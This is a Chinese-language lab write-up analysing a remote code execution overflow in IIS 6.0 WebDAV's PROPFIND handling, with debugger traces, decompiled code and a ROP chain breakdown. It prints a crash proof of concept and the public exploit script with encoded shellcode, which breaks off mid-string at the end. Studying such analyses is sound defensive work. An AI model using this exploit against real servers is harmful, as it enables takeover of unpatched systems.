CVE-2017-7296复现分析
漏洞简介
Internet Information Services(IIS)
是一套运行于Microsoft Windows
中的互联网基本服务。
Microsoft Windows Server 2003 R2
中的IIS 6.0
版本中的WebDAV
服务的ScStoragePathFromUrl
函数存在缓冲区溢出漏洞(堆溢出和栈溢出都包括)。远程攻击者可通过发送特制的PROPFIND
请求利用该漏洞执行任意代码。
WEB
分布式创作和版本控制WebDAV
是超文本传输协议HTTP
的扩展,可促进用户之间在编辑和管理存储在万维网服务器上的文档和文件之间的协作。
ROPFIND
用于从WEB
资源检索以XML存储的属性。它也被重载,以允许它检索远程系统的集合结构(也称为目录层次结构)。
复现环境
Windows Server 2003 R2, Enterprise Edition with SP2
目标机
开始菜单—>管理工具—>管理您的服务器—>添加或删除角色(应用服务器(IIS,ASP,NET))
开始菜单—>管理工具—>Internet 信息服务(IIS)管理器—>Web服务设置—>WebDAV(允许)
Windows 7 Enterprise with Service Pack 1 (x86)
攻击机
详细分析
定位溢出点 随便建立一个默认的网站index
页面,测试使用EXP ,可以成功触发由w3wp.exe
创建calc.exe
微软给出的WebDAV PROPFIND
方法的请求示例如下,可以通过socket
的方式按照下述方式构造数据包
1 2 3 4 5 6 7 8 9 10 11 12 PROPFIND /public/docs/myFile.doc HTTP/1.1 Content-Type: text/xml Content-Length: XXX Depth: 0 Translate: f ... <?xml version="1.0"?> <a:propfind xmlns:a ="DAV:" > <a:prop > <a:getcontenttype /> </a:prop > <a:prop > <a:getcontentlength /> </a:prop > </a:propfind >
由于没有补丁程序且栈层严重损坏根据栈回溯定位溢出点比较麻烦,尝试开启PageHeap
机制,启用PageHeap
后,堆内存分配将会在分配内存后面紧跟了一个4k的PAGE_NOACCESS
属性的页面,这种情况下,尝试读写执行所分配内存其后的地址将会导致访问冲突,因此启用PageHeap
的好处是能在一定程度上检查内存越界。和PAGE_GUARD
有点相似,任何尝试访问PAGE_GUARD
保护页面的尝试都会导致系统引发STATUS_GUARD_PAGE_VIOLATION
异常并关闭保护页面状态。
下载旧版本windbg
进行本地调试 ,windbg
目录下执行如下命令开启PageHeap
1 gflags.exe /p /enable C:\WINDOWS\system32\inetsrv\w3wp.exe
修改POC
代码,使其发送超长字符串导致溢出
1 2 3 4 5 6 7 8 9 import socketsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.1.2' ,80 )) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n' pay+='If: <http://localhost/aaaaaaa' pay+='A' *10240 pay+='>\r\n\r\n' sock.send(pay)
使用windbg
附加到w3wp.exe
进程,在攻击机执行POC
触发PAGE_NOACCESS
,windbg
自动断下,回显信息如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0:013> .reload Reloading current modules ................................................. [...] 0:013> g ModLoad: 673e0000 6741e000 \\?\c:\windows\system32\inetsrv\httpext.dll ModLoad: 5bac0000 5bac6000 C:\WINDOWS\system32\staxmem.dll ModLoad: 6da00000 6da06000 C:\WINDOWS\system32\inetsrv\davcprox.dll (fe4.180): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00005014 ebx=00002809 ecx=0000026c edx=01e8c978 esi=020b6f14 edi=01e91000 eip=673f6fdb esp=0133f330 ebp=0133f798 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 httpext!ScStoragePathFromUrl+0x360: 673f6fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到溢出点在httpext!ScStoragePathFromUrl+0x360
查看拷贝内容ESI
的值,是构造的超长字符串AAAA…
转码Unicode
后的内容
1 2 3 4 5 6 7 8 9 0:005> db esi 020b6f14 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f24 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f34 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f44 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f54 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f64 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f74 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 020b6f84 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
调用栈信息如下
1 2 3 4 5 6 7 8 9 10 11 0:005> kb ChildEBP RetAddr Args to Child 0133f798 673e9469 01e8c978 0133f800 00000000 httpext!ScStoragePathFromUrl+0x360 0133f7ac 673f5484 020b2890 01e8c978 0133f800 httpext!CMethUtil::ScStoragePathFromUrl+0x18 0133fc34 673f561e 01e8bba8 01e85eee 0133fc78 httpext!HrCheckIfHeader+0x15e 0133fc44 673ef659 01e8bba8 01e85eee 00000001 httpext!HrCheckStateHeaders+0x10 0133fc78 673ef7c5 01e8c340 0133fcd4 674104e2 httpext!CPropFindRequest::Execute+0xf0 0133fc90 673f96f2 01e8c340 00000004 01357678 httpext!DAVPropFind+0x47 0133fce0 673e7bc6 01e863e0 01e8bba8 01357678 httpext!CDAVExt::DwMain+0x12e 0133fe04 5a5c2991 01357678 013563b8 01357008 httpext!DwDavFSExtensionProc+0x3f 0133fe24 5a6368ff 013575e8 673e7b87 0133fe50 w3isapi!ProcessIsapiRequest+0x214
静态分析
ScStoragePathFromUrl
函数声明如下
1 2 3 4 5 6 SCODE __fastcall ScStoragePathFromUrl ( const IEcb& ecb, LPCWSTR pwszUrl, LPWSTR wszStgID, UINT* pcch, CVRoot** ppcvr = NULL ) ;
IDA
查看httpext!ScStoragePathFromUrl+0x360
位置,由于qmemcpy
函数造成堆溢出
简单分析后发现三次qmemcpy
函数的Dst
地址都与ScStoragePathFromUrl
第三个参数有关,根据调用栈信息回溯参数三来源于HrCheckIfHeader
函数中的String
变量,而String
值来源于CStackBuffer<unsigned short,260>
在HrCheckIfHeader
函数中存在两次对ScStoragePathFromUrl
函数的调用,第一次调用时发现String
并未发生变化,而v27
的值变为了281c
,尝试跟进ScStoragePathFromUrl
函数发现代码存在以下逻辑,显然将会由于路径长度超过缓存区大小从而将URL
转换为真实物理路径的字符数存在v27
所在地址中并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct _HSE_UNICODE_URL_MAPEX_INFO v40 ; v34 = a4; String = (wchar_t *)a2; [...] result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&String ); result = IEcbBase::ScReqMapUrlToPathEx(a1, String , &v40); v7 = _wcslen(String ); v16 = v40.cchMatchingPath; v18 = (struct IEcb *)(v16 - v40.cchMatchingURL + v7 + 1 ); v19 = *v34 < (unsigned int )v18; v37 = v18; if ( v19 ) { *v34 = (unsigned int )v18; if ( v33 ) { v20 = *v33; *v33 = 0 ; if ( v20 ) CRefCountedObject::Release(v20); } result = 1 ; } else { v21 = v35; v22 = v16; v23 = 2 * v16; v24 = (unsigned int )(2 * v16) >> 2 ; qmemcpy(v35, &v40, 4 * v24); [...]
经过分析v27
初始为0x82
是因为CStackBuffer<unsigned short,260>::resize
函数中计算初始值为0x412
,并在使用前对其进行右移3位,得到0x82
因此,第一次进入ScStoragePathFromUrl
函数时URL
长度大于0x82
并不会执行qmemcpy
操作,而是将URL
转换成物理路径后传回其字符数
在HrCheckIfHeader
函数第二次对ScStoragePathFromUrl
函数进行调用时,重新调用CStackBuffer
分配内存,传入的长度是第一次执行ScStoragePathFromUrl
回传的长度,而第一次回传的长度是字符数,但是调用CStackBuffer
时将其当为字节数传入,也就是这里分配内存过小导致了栈溢出
CStackBuffer<ushort,260>::resize
中可以看到,当字符数小于260
时,不会调用ExAlloc
分配堆内存,而是直接使用栈空间,这样就会导致栈溢出
两次调用CStackBuffer<ushort,260>::resize
函数所传入的缓冲区地址在栈中的布局如下
1 2 3 4 5 6 char v28[260 ]; unsigned int v29; wchar_t *String ; _DWORD v31[66 ]; unsigned __int16 *v32; wchar_t String1[260 ];
而CStackBuffer<ushort,260>::resize
函数中的this[65]
、this[66]
,通过分析反汇编代码可以看到与HrCheckIfHeader函数变量对应关系如下
1 2 3 4 .text:673E5EFC mov esi, ecx ... .text:673E5F33 mov [esi+108h], eax;this[66] .text:673E5F39 mov eax, [esi+104h];this[65]
CStackBuffer::resize
HrCheckIfHeader
HrCheckIfHeader
this
v31
v28
this[65]
v31[65]
v29
this[66]
v32
String
而HrCheckIfHeader
函数在调用CStackBuffer
初始化时已经将String
指向了v28
,v32
指向了v31
,因此调用ScStoragePathFromUrl
函数时,默认向[ebp-430h]
拷贝内容
栈布局结构大致如下
EXP分析 执行EXP时,第一次调用ScStoragePathFromUrl
回传长度为0xaa
小于0x104
,那么第二次调用CStackBuffer<ushort,260>::resize
无需使用ExAlloc
分配堆,直接使用栈,而实际需要的空间为0xaa*2=0x154
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0:007> u httpext!HrCheckIfHeader+0x11f: 673f5445 e80740ffff call httpext!CMethUtil::ScStoragePathFromUrl (673e9451) 673f544a 8bf0 mov esi,eax [...] 0:007> dd ebp-434 L4 012bf800 00000082 00000000 00000000 00000000 0:007> p eax=00000001 ebx=01e8f248 ecx=000045a9 edx=00000154 esi=00000000 edi=77ba8ef2 eip=673f544a esp=012bf7c0 ebp=012bfc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x124: 673f544a 8bf0 mov esi,eax 0:007> dd ebp-434 L4 012bf800 000000aa 00000000 00000000 00000000
而v28
预留栈空间只有0x104
个字节,因此第二次调用ScStoragePathFromUrl
将v28[260]
之后的内容进行覆盖,即ebp-32C(v29)
覆盖为0x02020202
,ebp-328
覆盖为0x680312c0(String)
,而URL
长度又不足以覆盖到ebp
,因此不会触发栈溢出保护
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0:007> u httpext!HrCheckIfHeader+0x159: 673f547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (673e9451) 673f5484 8bf0 mov esi,eax [...] 0:007> dd ebp-32c L8 012bf908 00000412 012bf804 673e205b 00000013 012bf918 012bf9c0 673f87e7 00000000 000000f0 0:007> p eax=00000000 ebx=01e8f248 ecx=000045a9 edx=012bf804 esi=00000001 edi=77ba8ef2 eip=673f5484 esp=012bf7c0 ebp=012bfc34 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 httpext!HrCheckIfHeader+0x15e: 673f5484 8bf0 mov esi,eax 0:007> dd ebp-32c L8 012bf908 02020202 680312c0 52566c44 6c6d4b37 012bf918 585a4f58 496a7950 4a52584f 664d4150
地址 0x680312c0
位于 rsaenh
模块中,具备 PAGE_READWRITE
属性
1 2 3 4 5 6 7 8 9 10 11 12 13 0:019> !address 680312c0 Failed to map Heaps (error 80004005) Usage: Image Allocation Base: 68000000 Base Address: 68030000 End Address: 68032000 Region Size: 00002000 Type: 01000000 MEM_IMAGE State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE More info: lmv m rsaenh More info: !lmi rsaenh More info: ln 0x680312c0
在第二次进入循环解析 http://localhost/bbbbbbb......
时,由于之前缓存的0x02020202
导致计算结构变成了00404040
(右移三位)
1 2 3 4 5 6 7 8 9 0:007> dd ebp-434 012bf800 00404040 003a0063 0069005c 0065006e 012bf810 00700074 00620075 0077005c 00770077 012bf820 006f0072 0074006f 0061005c 00610061 012bf830 00610061 00610061 78636f68 71337761 012bf840 47726936 4b777a39 75534f70 48687a4f 012bf850 6d545663 39536845 5567506c 33646763 012bf860 78454630 54316952 6a514c58 42317241 012bf870 58507035 6c473664 546a3539 54435034
也就是说只需调用一次ScStoragePathFromUrl
,数据将被填充到地址 0x680312c0
这里发现数据将被以宽字节的形式填充,在HrCheckIfHeader
函数中存在调用CRequest::LpwszGetHeader
函数,而CRequest::LpwszGetHeader
中存在MultiByteToWideChar
函数(该函数映射一个字符串到一个unicode
的字符串),因此在编写shellcode
时需要对shellcode
进行编码转换
在函数 HrCheckIfHeader
之后会调用FGetLockHandle
函数,FGetLockHandle
中存在CParseLockTokenHeader::HrGetLockIdForPath
函数
CParseLockTokenHeader::HrGetLockIdForPath
函数存在多次调用 CMethUtil::ScStoragePathFromUrl
与 HrCheckIfHeader
相似,解析URL
第一部分(http://localhost/aaaaaaa....
)时完成栈溢出,此时会覆盖到一个引用 CMethUtil
对象的局部变量,缓冲区地址在栈中的布局如下
1 2 3 4 5 6 7 wchar_t *String1; unsigned int v26; _DWORD v27[66 ]; unsigned __int16 *v28; wchar_t *v29[66 ]; wchar_t *String ; int v31;
同样地,函数在调用CStackBuffer
初始化时已经将String
指向了v29
,CStackBuffer::release
变量来源对应关系如下
CStackBuffer::resize
HrGetLockIdForPath
HrGetLockIdForPath
this
v27
v29
this[65]
v27[65]
v29[65]
this[66]
v28
String
与第一轮溢出逻辑相同,这里在覆盖局部栈空间时覆盖了一个后续会用到的CparseLockTokenHeader
对象的成员变量,程序只有在函数返回时, 才会去检查Security Cookie
,如果在函数返回之前劫持了EIP
,shellcode
将会预期执行
覆盖前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 :007 > dds ebp012b fbd0 012b fc3c012b fbd4 673 eaba9 httpext!FGetLockHandle+0x40 012b fbd8 01e8 cb16012b fbdc 80000000 012b fbe0 012b fc28012b fbe4 00000000 012b fbe8 01e8 f248012b fbec 01e8 f780012b fbf0 01e8 f780012b fbf4 00000000 012b fbf8 00000000 012b fbfc 00000000 012b fc00 00000040 012b fc04 00000000 012b fc08 012b fc29
覆盖后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 :007 > dds ebp012b fbd0 4 a52584f012b fbd4 664 d4150012b fbd8 680313 c0 rsaenh!g_pfnFree+0x104 012b fbdc 65314834 012b fbe0 6e666 f43012b fbe4 436 c7441012b fbe8 680313 c0 rsaenh!g_pfnFree+0x104 012b fbec 6 a415343012b fbf0 33307052 012b fbf4 424 c5866012b fbf8 6346704b 012b fbfc 79415173 012b fc00 4 a6c7a50012b fc04 0000003 e012b fc08 012b fc29
栈地址012bfbe8
被填充为680313c0
在012bfbe8
下硬件写入断点,在CParseLockTokenHeader+0x13
断下
1 2 3 4 5 6 7 8 9 10 11 12 13 0:007> ba w1 012bfbe8 0:007> pc Breakpoint 0 hit eax=01e8f248 ebx=00000000 ecx=012bfbec edx=012bfc68 esi=012bfbe8 edi=80000000 eip=673e860b esp=012bfbd0 ebp=012bfbd8 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 httpext!CParseLockTokenHeader::CParseLockTokenHeader+0x13: 673e860b e8eee00000 call httpext!HDRITER_TEMPLATE<char>::HDRITER_ TEMPLATE<char > (673f66fe) 0:007> kb ChildEBP RetAddr Args to Child 012bfbd8 673eab84 01e8f248 01e8f780 01e8f248 httpext!CParseLockTokenHeader::CParseLockTokenHeader+0x13 012bfc3c 673ef68e 01e8f248 01e8cb16 80000000 httpext!FGetLockHandle+0x1b 012bfc78 673ef7c5 01e8f298 012bfcd4 674104e2 httpext!CPropFindRequest::Execute+0x125
FGetLockHandle
函数中将012bfbe8
作为CParseLockTokenHeader
对象成员的指针地址
在解析 URL
第二部分(http://localhost/bbbbbbb....
)时,ScStoragePathFromUrl
中的 ScStripAndCheckHttpPrefix
函数通过寄存器+偏移的方式调用CParseLockTokenHeader
对象
1 2 3 4 5 6 7 8 9 .text:674035E5 push edi .text:674035E6 mov edi, ecx;012bfbe8 .text:674035E8 mov eax, [edi];680313c0 .text:674035EA lea ecx, [ebp+String1] .text:674035ED push ecx .text:674035EE mov ecx, edi .text:674035F0 mov [ebp+var_C], edx .text:674035F3 call dword ptr [eax+24h];680313c0+24h .text:674035F6 mov ebx, eax
此时call
会跳转到680313c0+24
处所存的地址68016082
,经过一系列ROP
创建calc.exe
1 2 3 4 5 6 0:007> u httpext!ScStripAndCheckHttpPrefix+0x1e: 674035f3 ff5024 call dword ptr [eax+24h] 674035f6 8bd8 mov ebx,eax 0:007> r eax eax=680313c0
ROP
代码拼接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 68016082 8be1 mov esp,ecx;680313c0 68016084 8b08 mov ecx,dword ptr [eax];680313c0 68016086 8b4004 mov eax,dword ptr [eax+4];68006e4f 68016089 50 push eax 6801608a c3 ret;jmp 68006e4f [...] 68006e4f 5e pop esi;680313c0 68006e50 5d pop ebp;68006e4f 68006e51 c22000 ret 20h;jmp 68006e4f [...] 68006e4f 5e pop esi;4d47747a 68006e50 5d pop ebp;57574459 68006e51 c22000 ret 20h;jmp 6800b113 [...] 6800b113 6a40 push 40h 6800b115 eb0e jmp rsaenh!GetHashLength+0x39 (6800b125) [...] 6800b125 58 pop eax;40 6800b126 5d pop ebp;68031434 6800b127 c20400 ret 4 [...] 680129e7 c9 leave;esp=68031438 680129e8 c3 ret [..] 68006e05 8d65e0 lea esp,[ebp-20h];680313fc 68006e08 5f pop edi;680124e3 68006e09 5e pop esi;68031460 68006e0a 5b pop ebx;7ffe0300 68006e0b c9 leave;esp=68031420,ebp=680129e7 68006e0c c22400 ret 24h [...] 68009391 58 pop eax;68008246 68009392 5d pop ebp;32534877 68009393 c20400 ret 4 [...] 68021daa 8b8010010000 mov eax,dword ptr [eax+110h];8f 68021db0 5d pop ebp;680313f8 68021db1 c20400 ret 4 [...] 680129e7 c9 leave;esp=680313fc,ebp=6e6f3176 680129e8 c3 ret [...] 680124e3 ff23 jmp dword ptr [ebx];7ffe0300 [...] 7c9585e8 8bd4 mov edx,esp;68031400 7c9585ea 0f34 sysenter;NtProtectVirtualMemory [...] 68031460 56 push esi;68031460 68031461 005600 add byte ptr [esi],dl;00560056 68031464 59 pop ecx;68031460 68031465 004100 add byte ptr [ecx],al;00560056 68031468 3400 xor al,0 6803147c 51 push ecx;68031460 6803147d 004100 add byte ptr [ecx],al;00560056 68031480 54 push esp;68031400 .................... 680315f7 59 pop ecx;68031614 680315f8 5a pop edx;876f8b31 680315f9 51 push ecx; 680315fa ffe0 jmp eax;7c86411e WinExec(68031633,00000001)
梳理利用思路:
实现步骤
第一次调用ScStoragePathFromUrl
1 2 3 4 5 6 7 8 9 0:007> dd ebp-328 012bf90c 012bf804 673e205b 00000013 012bf9c0 012bf91c 673f87e7 00000000 000000f0 00000013 012bf92c 00000000 01e8df34 673f87fc 012bf9d0 012bf93c 752d6669 646f6d6e 65696669 69732d64 012bf94c 0065636e 00000000 01e80178 00000000 012bf95c 00000000 01e80608 00000108 0000fee8 012bf96c 012bf984 5a63210d 013448c8 012bfa54 012bf97c 01e8c078 012bf998 012bf9b0 5a5c1367
第二次调用ScStoragePathFromUrl
1 2 3 4 5 6 7 8 9 0:007> dd ebp-328 012bf90c 680312c0 52566c44 6c6d4b37 585a4f58 012bf91c 496a7950 4a52584f 664d4150 680313c0 012bf92c 65314834 6e666f43 436c7441 680313c0 012bf93c 6a415343 33307052 424c5866 6346704b 012bf94c 79415173 4a6c7a50 0000003e 00000000 012bf95c 00000000 01e80608 00000108 0000fee8 012bf96c 012bf984 5a63210d 013448c8 012bfa54 012bf97c 01e8c078 012bf998 012bf9b0 5a5c1367
调用ScStoragePathFromUrl
将shellcode
写入0x680312c0
1 2 3 4 5 6 7 8 9 0:007> db 680312c0 680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p. 680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o. 680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b. 680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH 68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV 68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC 68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP 68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4
HrGetLockIdForPath
中第一次调用ScStoragePathFromUrl
1 2 3 4 5 6 7 8 9 0:007> dd ebp-14 012bfbbc 012bfab4 000045a9 012bfc30 67410bdd 012bfbcc 00000002 012bfc3c 673eaba9 01e8cb16 012bfbdc 80000000 012bfc28 00000000 01e8f248 012bfbec 01e8f780 01e8f780 00000000 00000000 012bfbfc 00000000 00000040 00000000 012bfc29 012bfc0c 00000012 01e8cf68 00000000 00000000 012bfc1c 00000000 00000000 00000000 00000000 012bfc2c 00000000 012bfc6c 6740fd44 00000000
第二次调用ScStoragePathFromUrl
,地址012bfbe8
被填充为680313c0
1 2 3 4 5 6 7 8 9 0:007> dd ebp-14 012bfbbc 680312c0 52566c44 6c6d4b37 585a4f58 012bfbcc 496a7950 4a52584f 664d4150 680313c0 012bfbdc 65314834 6e666f43 436c7441 680313c0 012bfbec 6a415343 33307052 424c5866 6346704b 012bfbfc 79415173 4a6c7a50 0000003e 012bfc29 012bfc0c 00000012 01e8cf68 00000000 00000000 012bfc1c 00000000 00000000 00000000 00000000 012bfc2c 00000000 012bfc6c 6740fd44 00000000
解析 URL
第二部分,跳转到680313c0+24
,最后就是ROP+shellcode
了
1 2 3 4 5 6 0:007> u httpext!ScStripAndCheckHttpPrefix+0x1e: 674035f3 ff5024 call dword ptr [eax+24h] 674035f6 8bd8 mov ebx,eax 0:007> r eax eax=680313c0
总结
第一次url aaaaaa
中,就已经引发了栈溢出,覆盖到了String
指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb
拷贝的时候,是向一个堆地址拷贝,在HrGetLockIdForPath
函数中同样的方式解析url aaaaaa
,这时覆盖了调用栈中用来保存CParseLockTokenHeader
对象成员的指针变量,在ScStoragePathFromUrl
中正好调用到这个对象,利用这次覆盖可以达到劫持EIP
的效果。
公开的EXP代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.168.59.129' ,80 )) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n' pay+='If: <http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9